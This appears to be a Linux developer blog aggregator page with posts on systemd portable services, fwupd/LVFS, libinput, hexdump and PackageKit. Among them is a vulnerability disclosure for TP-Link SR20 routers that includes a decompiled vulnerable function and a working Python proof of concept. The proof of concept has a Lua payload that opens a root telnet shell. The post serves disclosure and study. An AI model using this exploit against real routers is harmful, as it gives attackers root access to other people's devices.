Removed /etc/systemd/system.attached.

And there we go, the portable image file is detached from the host again.

A Couple of Notes

  1. Of course, this is a simplistic example: in real life services will be more than one compiled file, even when statically linked. But you get the idea, and it's very easy to extend the example above to include any additional, auxiliary files in the portable service image.

  2. The service is very nicely sandboxed during runtime: while it runs as regular service on the host (and you thus can watch its logs or do resource management on it like you would do for all other systemd services), it runs in a very restricted environment under a dynamically assigned UID that ceases to exist when the service is stopped again.

  3. Originally I wanted to make the service not only socket activatable but also implement exit-on-idle, i.e. add a logic so that the service terminates on its own when there's no ongoing HTTP connection for a while. I couldn't figure out how to do this race-freely in Go though, but I am sure an interested reader might want to add that? By combining socket activation with exit-on-idle we can turn this project into an excercise of putting together an extremely resource-friendly and robust service architecture: the service is started only when needed and terminates when no longer needed. This would allow to pack services at a much higher density even on systems with few resources.

  4. While the basic concepts of portable services have been around since systemd 239, it's best to try the above with systemd 241 or newer since the portable service logic received a number of fixes since then.

Further Reading

A low-level document introducing Portable Services is shipped along with systemd.

Please have a look at the blog story from a few months ago that did something very similar with a service written in C.

There are also relevant manual pages: portablectl(1) and systemd-portabled(8).

Remote code execution as root from the local network on TP-Link SR20 routers

Posted by Matthew Garrett on March 28, 2019 10:18 PM
The TP-Link SR20[1] is a combination Zigbee/ZWave hub and router, with a touchscreen for configuration and control. Firmware binaries are available here. If you download one and run it through binwalk, one of the things you find is an executable called tddp. Running arm-linux-gnu-nm -D against it shows that it imports popen(), which is generally a bad sign - popen() passes its argument directly to the shell, so if there's any way to get user controlled input into a popen() call you're basically guaranteed victory. That flagged it as something worth looking at, but in the end what I found was far funnier.

Tddp is the TP-Link Device Debug Protocol. It runs on most TP-Link devices in one form or another, but different devices have different functionality. What is common is the protocol, which has been previously described. The interesting thing is that while version 2 of the protocol is authenticated and requires knowledge of the admin password on the router, version 1 is unauthenticated.

Dumping tddp into Ghidra makes it pretty easy to find a function that calls recvfrom(), the call that copies information from a network socket. It looks at the first byte of the packet and uses this to determine which protocol is in use, and passes the packet on to a different dispatcher depending on the protocol version. For version 1, the dispatcher just looks at the second byte of the packet and calls a different function depending on its value. 0x31 is CMD_FTEST_CONFIG, and this is where things get super fun.

Here's a cut down decompilation of the function:
int ftest_config(char *byte) {
  int lua_State;
  char *remote_address;
  int err;
  int luaerr;
  char filename[64]
  char configFile[64];
  char luaFile[64];
  int attempts;
  char *payload;

  attempts = 4;
  memset(luaFile,0,0x40);
  memset(configFile,0,0x40);
  memset(filename,0,0x40);
  lua_State = luaL_newstart();
  payload = iParm1 + 0xb027;
  if (payload != 0x00) {
    sscanf(payload,"%[^;];%s",luaFile,configFile);
    if ((luaFile[0] == 0) || (configFile[0] == 0)) {
      printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
    }
    else {
      remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
      tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);
      sprintf(filename,"/tmp/%s",luaFile);
      while (0 < attempts) {
        sleep(1);
        err = access(filename,0);
        if (err == 0) break;
        attempts = attempts + -1;
      }
      if (attempts == 0) {
        printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
      }
      else {
        if (lua_State != 0) {
          luaL_openlibs(lua_State);
          luaerr = luaL_loadfile(lua_State,filename);
          if (luaerr == 0) {
            luaerr = lua_pcall(lua_State,0,0xffffffff,0);
          }
          lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
          lua_pushstring(lua_State,configFile);
          lua_pushstring(lua_State,remote_address);
          lua_call(lua_State,2,1);
        }
        lua_close(lua_State);
      }
    }
  }
}
Basically, this function parses the packet for a payload containing two strings separated by a semicolon. The first string is a filename, the second a configfile. It then calls tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address) which executes the tftp command in the background. This connects back to the machine that sent the command and attempts to download a file via tftp corresponding to the filename it sent. The main tddp process waits up to 4 seconds for the file to appear - once it does, it loads the file into a Lua interpreter it initialised earlier, and calls the function config_test() with the name of the config file and the remote address as arguments. Since config_test() is provided by the file that was downloaded from the remote machine, this gives arbitrary code execution in the interpreter, which includes the os.execute method which just runs commands on the host. Since tddp is running as root, you get arbitrary command execution as root.

I reported this to TP-Link in December via their security disclosure form, a process that was made difficult by the "Detailed description" field being limited to 500 characters. The page informed me that I'd hear back within three business days - a couple of weeks later, with no response, I tweeted at them asking for a contact and heard nothing back. Someone else's attempt to report tddp vulnerabilities had a similar outcome, so here we are.

There's a couple of morals here:
  • Don't default to running debug daemons on production firmware seriously how hard is this
  • If you're going to have a security disclosure form, read it


Proof of concept:
#!/usr/bin/python3

# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
 
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
 
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

[1] Link to the wayback machine because the live link now redirects to an Amazon product page for a lightswitch

comment count unavailable comments

New AppStream Validation Requirements

Posted by Richard Hughes on March 28, 2019 04:27 PM

In the next release of appstream-glib the appstream-util validate requirements got changed, which might make your life easier, or harder — depending if you already pass or fail the validation. The details are here but the rough jist is that we’ve relaxed a lot of the style rules (e.g. starts with a capital letter, ends with a full stop, less than a certain number of chars, etc), and made stricter some of the more important optional parts of the specification. For instance, requiring <content_rating> for any desktop or console application.

Even if you don’t care upstream, the new validation will soon be turned on for any apps built in Flathub, and downstream “packagers” will be pestering you for details as updates are now failing. Although only a few apps fail, some of the missing metadata tags are important enough to fail building. To test your app right now with the new validator:

$ flatpak remote-add --if-not-exists gnome-nightly https://sdk.gnome.org/gnome-nightly.flatpakrepo
$ flatpak install gnome-nightly org.gnome.Sdk
$ flatpak run --command=bash --filesystem=home:ro org.gnome.Sdk//master
# appstream-util validate /home/hughsie/Code/gnome-software/data/appdata/org.gnome.Software.appdata.xml.in
# exit

Of course, when the next tarball is released it’ll be available in your distribution as normal, but I wanted to get some early sanity checks in before I tag the release.

The LVFS is now a Linux Foundation project

Posted by Richard Hughes on March 28, 2019 02:19 PM

The LVFS is now an official Linux Foundation project! I did a mini-interview if you want some more details about where the project came from and where it’s heading. I’m hoping the move to the Linux Foundation gives the project a lot more credibility with existing LF members, and it certainly takes some of the load from me. I’ll continue to develop the lvfs-website codebase as before, and still be the friendly face when talking to OEMs and ODMs.

In the short term, not much changes, although you might start see some rebranding of the website itself. The server is also moving from a little VM in AMS to a fully scalable orchestrated thing maintained by people who actually understand how to be a sysadmin. If you’re interested in what’s happening on the LVFS, be sure to join the announcement mailing list. We’re averaging about 450,000 firmware downloads a month, and still growing steadily, with more and more vendors joining every month.

In related news, there’s lots of new firmware on the LVFS, much of it addressing serious CVEs on lots of different laptop models. If you’ve not updated recently, now is the time to fix that.

Even more fun with SuperIO

Posted by Richard Hughes on March 25, 2019 11:35 AM

My fun with SuperIO continues, and may be at the logical end. I’ve now added the required code to the superio plugin to flash IT89xx embedded controllers. Most of the work was working out how to talk to the hardware on ports 0x62 and 0x66, although the flash “commands” are helpfully JEDEC compliant. The actual flashing process is the typical:

  • Enter into a bootloader mode (which disables your keyboard, fans and battery reporting)
  • Mark the internal EEPROM as writable
  • Erase blocks of data
  • Write blocks of data to the device
  • Read back the blocks of data to verify the write
  • Mark the internal EEPROM as read-only
  • Return to runtime mode

There were a few slight hickups, in that when you read the data back from the device just one byte is predictably wrong, but nothing that can’t be worked around in software. Working around the wrong byte means we can verify the attestation checksum correctly.

Now, don’t try flashing your EC with random binaries. The binaries look unsigned, don’t appear to have any kind of checksum, and flashing the wrong binary to the wrong hardware has the failure mode of “no I/O devices appear at boot” so unless you have a hardware programmer handy it’s probably best to wait for an update from your OEM.

We also do the EC update from a special offline-update mode where nothing else than fwupd is running, much like we do the system updates in Fedora. All this work was supported by the people at Star Labs, and now basically everything in the LapTop Mk3 is updatable in Linux. EC updates for Star Labs hardware should appear on the LVFS soon.

Using hexdump to print binary protocols

Posted by Peter Hutterer on March 21, 2019 12:30 AM

I had to work on an image yesterday where I couldn't install anything and the amount of pre-installed tools was quite limited. And I needed to debug an input device, usually done with libinput record. So eventually I found that hexdump supports formatting of the input bytes but it took me a while to figure out the right combination. The various resources online only got me partway there. So here's an explanation which should get you to your results quickly.

By default, hexdump prints identical input lines as a single line with an asterisk ('*'). To avoid this, use the -v flag as in the examples below.

hexdump's format string is single-quote-enclosed string that contains the count, element size and double-quote-enclosed printf-like format string. So a simple example is this:


$ hexdump -v -e '1/2 "%d\n"' <filename>
-11643
23698
0
0
-5013
6
0
0
This prints 1 element ('iteration') of 2 bytes as integer, followed by a linebreak. Or in other words: it takes two bytes, converts it to int and prints it. If you want to print the same input value in multiple formats, use multiple -e invocations.

$ hexdump -v -e '1/2 "%d "' -e '1/2 "%x\n"' <filename>
-11568 d2d0
23698 5c92
0 0
0 0
6355 18d3
1 1
0 0
This prints the same 2-byte input value, once as decimal signed integer, once as lowercase hex. If we have multiple identical things to print, we can do this:

$ hexdump -v -e '2/2 "%6d "' -e '" hex:"' -e '4/1 " %x"' -e '"\n"'
-10922 23698 hex: 56 d5 92 5c
0 0 hex: 0 0 0 0
14879 1 hex: 1f 3a 1 0
0 0 hex: 0 0 0 0
0 0 hex: 0 0 0 0
0 0 hex: 0 0 0 0
Which prints two elements, each size 2 as integers, then the same elements as four 1-byte hex values, followed by a linebreak. %6d is a standard printf instruction and documented in the manual.

Let's go and print our protocol. The struct representing the protocol is this one:


struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
unsigned int __usec;
#else
__kernel_ulong_t __usec;
#endif
#define input_event_sec __sec
#define input_event_usec __usec
#endif
__u16 type;
__u16 code;
__s32 value;
};
So we have two longs for sec and usec, two shorts for type and code and one signed 32-bit int. Let's print it:

$ hexdump -v -e '"E: " 1/8 "%u." 1/8 "%06u" 2/2 " %04x" 1/4 "%5d\n"' /dev/input/event22
E: 1553127085.097503 0002 0000 1
E: 1553127085.097503 0002 0001 -1
E: 1553127085.097503 0000 0000 0
E: 1553127085.097542 0002 0001 -2
E: 1553127085.097542 0000 0000 0
E: 1553127085.108741 0002 0001 -4
E: 1553127085.108741 0000 0000 0
E: 1553127085.118211 0002 0000 2
E: 1553127085.118211 0002 0001 -10
E: 1553127085.118211 0000 0000 0
E: 1553127085.128245 0002 0000 1
And voila, we have our structs printed in the same format evemu-record prints out. So with nothing but hexdump, I can generate output I can then parse with my existing scripts on another box.

libinput's internal building blocks

Posted by Peter Hutterer on March 15, 2019 06:15 AM

Ho ho ho, let's write libinput. No, of course I'm not serious, because no-one in their right mind would utter "ho ho ho" without a sufficient backdrop of reindeers to keep them sane. So what this post is instead is me writing a nonworking fake libinput in Python, for the sole purpose of explaining roughly how libinput's architecture looks like. It'll be to the libinput what a Duplo car is to a Maserati. Four wheels and something to entertain the kids with but the queue outside the nightclub won't be impressed.

The target audience are those that need to hack on libinput and where the balance of understanding vs total confusion is still shifted towards the latter. So in order to make it easier to associate various bits, here's a description of the main building blocks.

libinput uses something resembling OOP except that in C you can't have nice things unless what you want is a buffer overflow\n\80xb1001af81a2b1101. Instead, we use opaque structs, each with accessor methods and an unhealthy amount of verbosity. Because Python does have classes, those structs are represented as classes below. This all won't be actual working Python code, I'm just using the syntax.

Let's get started. First of all, let's create our library interface.


class Libinput:
@classmethod
def path_create_context(cls):
return _LibinputPathContext()

@classmethod
def udev_create_context(cls):
return _LibinputUdevContext()

# dispatch() means: read from all our internal fds and
# call the dispatch method on anything that has changed
def dispatch(self):
for fd in self.epoll_fd.get_changed_fds():
self.handlers[fd].dispatch()

# return whatever the next event is
def get_event(self):
return self._events.pop(0)

# the various _notify functions are internal API
# to pass things up to the context
def _notify_device_added(self, device):
self._events.append(LibinputEventDevice(device))
self._devices.append(device)

def _notify_device_removed(self, device):
self._events.append(LibinputEventDevice(device))
self._devices.remove(device)

def _notify_pointer_motion(self, x, y):
self._events.append(LibinputEventPointer(x, y))



class _LibinputPathContext(Libinput):
def add_device(self, device_node):
device = LibinputDevice(device_node)
self._notify_device_added(device)

def remove_device(self, device_node):
self._notify_device_removed(device)


class _LibinputUdevContext(Libinput):
def __init__(self):
self.udev = udev.context()

def udev_assign_seat(self, seat_id):
self.seat_id = seat.id

for udev_device in self.udev.devices():
device = LibinputDevice(udev_device.device_node)
self._notify_device_added(device)


We have two different modes of initialisation, udev and path. The udev interface is used by Wayland compositors and adds all devices on the given udev seat. The path interface is used by the X.Org driver and adds only one specific device at a time. Both interfaces have the dispatch() and get_events() methods which is how every caller gets events out of libinput.

In both cases we create a libinput device from the data and create an event about the new device that bubbles up into the event queue.

But what really are events? Are they real or just a fidget spinner of our imagination? Well, they're just another object in libinput.


class LibinputEvent:
@property
def type(self):
return self._type

@property
def context(self):
return self._libinput

@property
def device(self):
return self._device

def get_pointer_event(self):
if instanceof(self, LibinputEventPointer):
return self # This makes more sense in C where it's a typecast
return None

def get_keyboard_event(self):
if instanceof(self, LibinputEventKeyboard):
return self # This makes more sense in C where it's a typecast
return None


class LibinputEventPointer(LibinputEvent):
@property
def time(self)
return self._time/1000

@property
def time_usec(self)
return self._time

@property
def dx(self)
return self._dx

@property
def absolute_x(self):
return self._x * self._x_units_per_mm

@property
def absolute_x_transformed(self, width):
return self._x * width/ self._x_max_value
You get the gist. Each event is actually an event of a subtype with a few common shared fields and a bunch of type-specific ones. The events often contain some internal value that is calculated on request. For example, the API for the absolute x/y values returns mm, but we store the value in device units instead and convert to mm on request.

So, what's a device then? Well, just another I-cant-believe-this-is-not-a-class with relatively few surprises:


class LibinputDevice:
class Capability(Enum):
CAP_KEYBOARD = 0
CAP_POINTER = 1
CAP_TOUCH = 2
...

def __init__(self, device_node):
pass # no-one instantiates this directly

@property
def name(self):
return self._name

@property
def context(self):
return self._libinput_context

@property
def udev_device(self):
return self._udev_device

@property
def has_capability(self, cap):
return cap in self._capabilities

...
Now we have most of the frontend API in place and you start to see a pattern. This is how all of libinput's API works, you get some opaque read-only objects with a few getters and accessor functions.

Now let's figure out how to work on the backend. For that, we need something that handles events:


class EvdevDevice(LibinputDevice):
def __init__(self, device_node):
fd = open(device_node)
super().context.add_fd_to_epoll(fd, self.dispatch)
self.initialize_quirks()

def has_quirk(self, quirk):
return quirk in self.quirks

def dispatch(self):
while True:
data = fd.read(input_event_byte_count)
if not data:
break

self.interface.dispatch_one_event(data)

def _configure(self):
# some devices are adjusted for quirks before we
# do anything with them
if self.has_quirk(SOME_QUIRK_NAME):
self.libevdev.disable(libevdev.EV_KEY.BTN_TOUCH)


if 'ID_INPUT_TOUCHPAD' in self.udev_device.properties:
self.interface = EvdevTouchpad()
elif 'ID_INPUT_SWITCH' in self.udev_device.properties:
self.interface = EvdevSwitch()
...
else:
self.interface = EvdevFalback()


class EvdevInterface:
def dispatch_one_event(self, event):
pass

class EvdevTouchpad(EvdevInterface):
def dispatch_one_event(self, event):
...

class EvdevTablet(EvdevInterface):
def dispatch_one_event(self, event):
...


class EvdevSwitch(EvdevInterface):
def dispatch_one_event(self, event):
...

class EvdevFallback(EvdevInterface):
def dispatch_one_event(self, event):
...
Our evdev device is actually a subclass (well, C, *handwave*) of the public device and its main function is "read things off the device node". And it passes that on to a magical interface. Other than that, it's a collection of generic functions that apply to all devices. The interfaces is where most of the real work is done.

The interface is decided on by the udev type and is where the device-specifics happen. The touchpad interface deals with touchpads, the tablet and switch interface with those devices and the fallback interface is that for mice, keyboards and touch devices (i.e. the simple devices).

Each interface has very device-specific event processing and can be compared to the Xorg synaptics vs wacom vs evdev drivers. If you are fixing a touchpad bug, chances are you only need to care about the touchpad interface.

The device quirks used above are another simple block:


class Quirks:
def __init__(self):
self.read_all_ini_files_from_directory('$PREFIX/share/libinput')

def has_quirk(device, quirk):
for file in self.quirks:
if quirk.has_match(device.name) or
quirk.has_match(device.usbid) or
quirk.has_match(device.dmi):
return True
return False

def get_quirk_value(device, quirk):
if not self.has_quirk(device, quirk):
return None

quirk = self.lookup_quirk(device, quirk)
if quirk.type == "boolean":
return bool(quirk.value)
if quirk.type == "string":
return str(quirk.value)
...
A system that reads a bunch of .ini files, caches them and returns their value on demand. Those quirks are then used to adjust device behaviour at runtime.

The next building block is the "filter" code, which is the word we use for pointer acceleration. Here too we have a two-layer abstraction with an interface.


class Filter:
def dispatch(self, x, y):
# converts device-unit x/y into normalized units
return self.interface.dispatch(x, y)

# the 'accel speed' configuration value
def set_speed(self, speed):
return self.interface.set_speed(speed)

# the 'accel speed' configuration value
def get_speed(self):
return self.speed

...


class FilterInterface:
def dispatch(self, x, y):
pass

class FilterInterfaceTouchpad:
def dispatch(self, x, y):
...

class FilterInterfaceTrackpoint:
def dispatch(self, x, y):
...

class FilterInterfaceMouse:
def dispatch(self, x, y):
self.history.push((x, y))
v = self.calculate_velocity()
f = self.calculate_factor(v)
return (x * f, y * f)

def calculate_velocity(self)
for delta in self.history:
total += delta
velocity = total/timestamp # as illustration only

def calculate_factor(self, v):
# this is where the interesting bit happens,
# let's assume we have some magic function
f = v * 1234/5678
return f
So libinput calls filter_dispatch on whatever filter is configured and passes the result on to the caller. The setup of those filters is handled in the respective evdev interface, similar to this:

class EvdevFallback:
...
def init_accel(self):
if self.udev_type == 'ID_INPUT_TRACKPOINT':
self.filter = FilterInterfaceTrackpoint()
elif self.udev_type == 'ID_INPUT_TOUCHPAD':
self.filter = FilterInterfaceTouchpad()
...
The advantage of this system is twofold. First, the main libinput code only needs one place where we really care about which acceleration method we have. And second, the acceleration code can be compiled separately for analysis and to generate pretty graphs. See the pointer acceleration docs. Oh, and it also allows us to easily have per-device pointer acceleration methods.

Finally, we have one more building block - configuration options. They're a bit different in that they're all similar-ish but only to make switching from one to the next a bit easier.


class DeviceConfigTap:
def set_enabled(self, enabled):
self._enabled = enabled

def get_enabled(self):
return self._enabled

def get_default(self):
return False

class DeviceConfigCalibration:
def set_matrix(self, matrix):
self._matrix = matrix

def get_matrix(self):
return self._matrix

def get_default(self):
return [1, 0, 0, 0, 1, 0, 0, 0, 1]
And then the devices that need one of those slot them into the right pointer in their structs:

class EvdevFallback:
...
def init_calibration(self):
self.config_calibration = DeviceConfigCalibration()
...

def handle_touch(self, x, y):
if self.config_calibration is not None:
matrix = self.config_calibration.get_matrix

x, y = matrix.multiply(x, y)
self.context._notify_pointer_abs(x, y)

And that's basically it, those are the building blocks libinput has. The rest is detail. Lots of it, but if you understand the architecture outline above, you're most of the way there in diving into the details.

libinput and location-based touch arbitration

Posted by Peter Hutterer on March 15, 2019 05:58 AM

One of the features in the soon-to-be-released libinput 1.13 is location-based touch arbitration. Touch arbitration is the process of discarding touch input on a tablet device while a pen is in proximity. Historically, this was provided by the kernel wacom driver but libinput has had userspace touch arbitration for quite a while now, allowing for touch arbitration where the tablet and the touchscreen part are handled by different kernel drivers.

Basic touch arbitratin is relatively simple: when a pen goes into proximity, all touches are ignored. When the pen goes out of proximity, new touches are handled again. There are some extra details (esp. where the kernel handles arbitration too) but let's ignore those for now.

With libinput 1.13 and in preparation for the Dell Canvas Dial Totem, the touch arbitration can now be limited to a portion of the screen only. On the totem (future patches, not yet merged) that portion is a square slightly larger than the tool itself. On normal tablets, that portion is a rectangle, sized so that it should encompass the users's hand and area around the pen, but not much more. This enables users to use both the pen and touch input at the same time, providing for bimanual interaction (where the GUI itself supports it of course). We use the tilt information of the pen (where available) to guess where the user's hand will be to adjust the rectangle position.

There are some heuristics involved and I'm not sure we got all of them right so I encourage you to give it a try and file an issue where it doesn't behave as expected.

A fwupd client side certificate

Posted by Richard Hughes on March 12, 2019 03:00 PM

In the soon-to-be-released fwupd 1.2.6 there’s a new feature that I wanted to talk about here, if nothing else to be the documentation when people find these files and wonder what they are. The fwupd daemon now creates a PKCS-7 client self-signed certificate at startup (if GnuTLS is enabled and new enough) – which creates the root-readable /var/lib/fwupd/pki/secret.key and world-readable /var/lib/fwupd/pki/client.pem files.

These certificates are used to sign text data sent to a remote server. At the moment, this is only useful for vendors who also have accounts on the LVFS, so that when someone in their QA team tests the firmware update on real hardware, they can upload the firmware report with the extra --sign argument to sign the JSON blob with the certificate. This allows the LVFS to be sure the report upload comes from the vendor themselves, and will in future allow the trusted so-called attestation DeviceChecksums a.k.a. the PCR0 to be set automatically from this report. Of course, the LVFS user needs to upload the certificate to the LVFS to make this work, although I’ve written this functionality and am just waiting for someone to review it.

It’ll take some time for the new fwupd to get included in all the major distributions, but when practical I’ll add instructions for companies using the LVFS to use this feature. I’m hoping that by making it easier to securely set the PCR0 more devices will have the attestation metadata needed to verify if the machine is indeed running the correct firmware and secure.

Of course, fwupd doesn’t care if the certificate is self-signed or is issued from a corporate certificate signing request. The files in /var/lib/fwupd/pki/ can be set to whatever policy is in place. We can also use this self-signed certificate for any future agent check-in which we might need for the enterprise use cases. It allows us send data from the client to a remote server and prove who the client is. Comments welcome.

Videos and Books in GNOME 3.32

Posted by Bastien Nocera on March 08, 2019 07:00 PM
GNOME 3.32 will very soon be released, so I thought I'd go back on a few of the things that happened with some of our content applications.

Videos
First, many thanks to Marta Bogdanowicz, Baptiste Mille-Mathias, Ekaterina Gerasimova and Andre Klapper who toiled away at updating Videos' user documentation since 2012, when it was still called “Totem”, and then again in 2014 when “Videos” appeared.

The other major change is that Videos is available, fully featured, from Flathub. It should play your Windows Movie Maker films, your circular wafers of polycarbonate plastic and aluminium, and your Devolver indie films. No more hunting codecs or libraries!

In the process, we also fixed a large number of outstanding issues, such as accommodating for the app menu's planned disappearance, moving the audio/video properties tab to nautilus proper, making the thumbnailer available as an independent module, making the MPRIS plugin work better and loads, loads mo.


Download on Flathub

Books

As Documents was removed from the core release, we felt it was time for Books to become independent. And rather than creating a new package inside a distribution, the Flathub version was updated. We also fixed a bunch of bugs, so that's cool :)
Download on Flathub

Weather

I didn't work directly on Weather, but I made some changes to libgweather which means it should be easier to contribute to its location database.

Adding new cities doesn't require adding a weather station by hand, it would just pick the closest one, and weather stations also don't need to be attached to cities either. They were usually attached to villages, sometimes hamlets!

The automatic tests are also more stringent, and test for more things, which should hopefully mean less bugs.

And even more Flatpaks

On Flathub, you'll also find some applications I packaged up in the last 6 months. First is Teo Thomson emulator, GBE+, a Game Boy emulator focused on accessories emulation, and a way to run your old Flash games offline.

Making the LVFS and fwupd work in the enterprise

Posted by Richard Hughes on March 04, 2019 04:24 PM

I’ve spent some time over the weekend thinking about how firmware updates should work when you’re an enterprise, i.e. when you’re responsible for more than about 100 broadly similar computers. Some companies using fwupd right now are managing over a 100,000 devices (!) using a variety of non-awesome workarounds. So far we’ve not had a very good story on how to make firmware updates for corporate or IoT “just work” as we’ve been concentrating on the desktop use-cases.

We’ve started working on some functionality in fwupd to install an optional “agent” that reports the versions of firmware installed to a central internal web service daily, so that the site admin can see what computers are not up-to-date with the latest firmware updates. I’d expect there the admin could also approve updates after in-house QA testing, and also rate-limit the flow of updates to hardware of the same type. The reference web app would visually look like some kind of dashboard, although I’d be happy to also plug this information into existing system management systems like Lenovo XClarity or even Red Hat Satellite. The deliverable here would be to provide the information and the mechanism that can be used to implement whatever policy the management console defines.

This stuff isn’t particularly relevant to the average Linux user, and enabling this special “enterprise mode” would involve spinning up a web app on the internal network, manually enabling a systemd timer on all clients in the enterprise and also perhaps setting up a LVFS mirror. The console certainly isn’t the kind of thing you’d run on the Internet or be provided by the LVFS.

If this sounds interesting, I’d love to hear some comments, feedback and wish list items. We’re at the pre-alpha stage right now and are just prototyping some toy code. Thanks!

Making ATA updates just work

Posted by Richard Hughes on February 27, 2019 04:56 PM

The fwupd project has supported updating the microcode on ATA devices for about a month, and StarLabs is shipping firmware on the LVFS already. More are coming, but as part of the end-to-end testing with various deliberately-unnamed storage vendors we hit a thorny issue.

Most drives require the firmware updater to use the so-called 0xE mode, more helpfully called ATA_SUBCMD_MICROCODE_DOWNLOAD_CHUNKS in fwupd. This command transfers chunks of firmware to the device, and then the ATA hardware waits for a COMRESET before switching to the new firmware version. On most drives you can also use 0x3 mode which downloads the chunks and switches to the new firmware straight away using ATA RESET. As in, your drive currently providing your root filesystem disconnects from your running system and then reconnects with the new firmware version running. The kernel should be okay with that (and seems to work for me), but various people have advised us it would be a good way to cause accidental Bad Things™ to happen, which certainly seems plausible. Needlessly to say, we defaulted to the safe 0xE mode in fwupd 1.2.4 and thus require the user to reboot to switch to the new firmware version.

The issue we found is that about half of the ATA drive vendors require the drive to receive a COMRESET before switching to the new firmware. Depending on your main system firmware (and seemingly, the phase of the moon) you might only get a COMRESET when the device is initially powered on, rather than during reset. This means we’d have to tell the user to shutdown and then manually restart their system rather than just doing a system restart, which means various fwupd front ends like GNOME Software and KDE discover would need updating with new strings and code. This isn’t exactly trivial for enterprise distros like RHEL, and fwupd doesn’t know the capabilities of the front-end so can’t do anything sensible like hold back the update.

Additionally, the failure mode of installing a firmware update and then just restarting rather than shutting down would be the firmware version would be unchanged on the next boot, and fwupd would recognize this and mark the update as failed. The user would then also be prompted to update the firmware on the device that they thought they just updated. As my boss would say, “disappointing”.

Complexity to the rescue! There is one extra little-used mode in the ATA specification, called 0xF. This command causes the drive to immediately switch to the new firmware version, which as we’ve previously lamented might cause data loss. We can however, use this new command on shutdown when the filesystems have all been remounted read only. In fwupd git master (which is what will become version 1.2.6) we actually install a /usr/lib/systemd/system-shutdown/fwupd.shutdown script which checks the history database, and activates the new firmware if there is any activation required. This way it’ll always come back with the new firmware version when the user restarts, regardless of how the storage vendor interpreted the ATA specification.

I guess I should also thank Mario Limonciello and the storage team at Dell for all the help with this. We’ll hopefully have some more good news to share soon.

Lenovo ThinkCentre joins the LVFS

Posted by Richard Hughes on February 26, 2019 08:06 AM

Lenovo ThinkPad and ThinkStation have already been using the LVFS for some time, with many models supported from each group. Now the first firmware for the ThinkCentre line of hardware has appeared. ThinkCentre machines are often found in the enterprise, often tucked neatly behind other hardware or under counter tops, working away for years without problems. With the LVFS support site administrators can now update firmware on machines either locally or using ssh. At the moment only the M625q model is listed as supported on the LVFS, but other models are in the pipeline and will appear when ready.

It’s been a good month for the LVFS, 6 new devices were added in the last month, and we celebrated the numerically significant 5 million firmware downloads. The move to the Linux Foundation is going well, and we’ll hopefully be moving the staging instance from a little VM to a proper cloud deployment, providing the scalability and uptime requirements we need for critical infrastructure like this. If all goes to plan the main instance will move after a few months of testing.

PackageKit is dead, long live, well, something else

Posted by Richard Hughes on February 14, 2019 06:01 PM

It’s probably no surprise to many of you that PackageKit has been in maintenance mode for quite some time. Although started over ten years ago (!) it’s not really had active maintenance since about 2014. Of course, I’ve still been merging PRs and have been slinging tarballs over the wall every few months, but nothing new was happening with the project, and I’ve worked on many other things since.

I think it’s useful for a little retrospective. PackageKit was conceived as an abstraction layer over about a dozen different package management frameworks. Initially it succeeded, with a lot of front ends UIs being written for the PackageKit API, making the Linux desktop a much nicer place for many years. Over the years, most package managers have withered and died, and for the desktop at least really only two remain, .rpm and .deb. The former being handled by the dnf PackageKit backend, and the latter by aptcc.

Canonical seems to be going all in on Snaps, and I don’t personally think of .deb files as first class citizens on Ubuntu any more – which is no bad thing. Snaps and Flatpaks are better than packages for desktop software in almost every way. Fedora is concentrating on Modularity and is joining with most of the other distros with a shared Flatpak and Flathub future and seems to be thriving because of it. If course, I’m missing out a lot of other distros, but from a statistics point of view they’re unfortunately not terribly relevant. Arch users are important, but they’re also installing primarily on the command line, not using an abstraction layer or GUI. Fedora is also marching towards an immutable base image using rpmostree, containers and flatpaks, and then PackageKit isn’t only not required, but doesn’t actually get installed at all in Fedora SilverBlue.

GNOME Software and the various KDE software centers already have an abstraction in the session; which they kind of have to to support per-user flatpak applications and per-user pet containers like Fedora Toolbox. I’ve also been talking to people in the Cockpit project and they’re in the same boat, and basically agree that having a shared system API to get the installed package list isn’t actually as useful as it used to be. Of course, we’ll need to support mutable systems for a long time (RHEL!) and so something has to provide a D-Bus interface to provide that. I’m not sure whether that should be dnfdaemon providing a PackageKit-compatible API, or it should just implement a super-simple interface that’s not using an API design from the last decade. At least from a gnome-software point of view it would just be one more plugin, like we have a plugin for Flatpak, a plugin for Snap, and a plugin for PackageKit.

Comments welcome.

Using fwupd and updating firmware without using the LVFS

Posted by Richard Hughes on February 14, 2019 12:43 PM

The LVFS is a webservice designed to allow system OEMs and ODMs to upload firmware easily, and for it to be distributed securely to tens of millions of end users. For some people, this simply does not work for good business reasons:

  • They don’t trust me, fwupd.org, GPG, certain OEMs or the CDN we use
  • They don’t want thousands of computers on an internal network downloading all the files over and over again
  • The internal secure network has no internet connectivity

For these cases there are a few different ways to keep your hardware updated, in order of simplicity:

Download just the files you need manually

Download the .cab files you found for your hardware and then install them on the target hardware via Ansible or Puppet using fwupdmgr install foo.cab — you can use fwupdmgr get-devices to get the existing firmware versions of all hardware. If someone wants to write the patch to add JSON/XML export to fwupdmgr that would be a very welcome thing indeed.

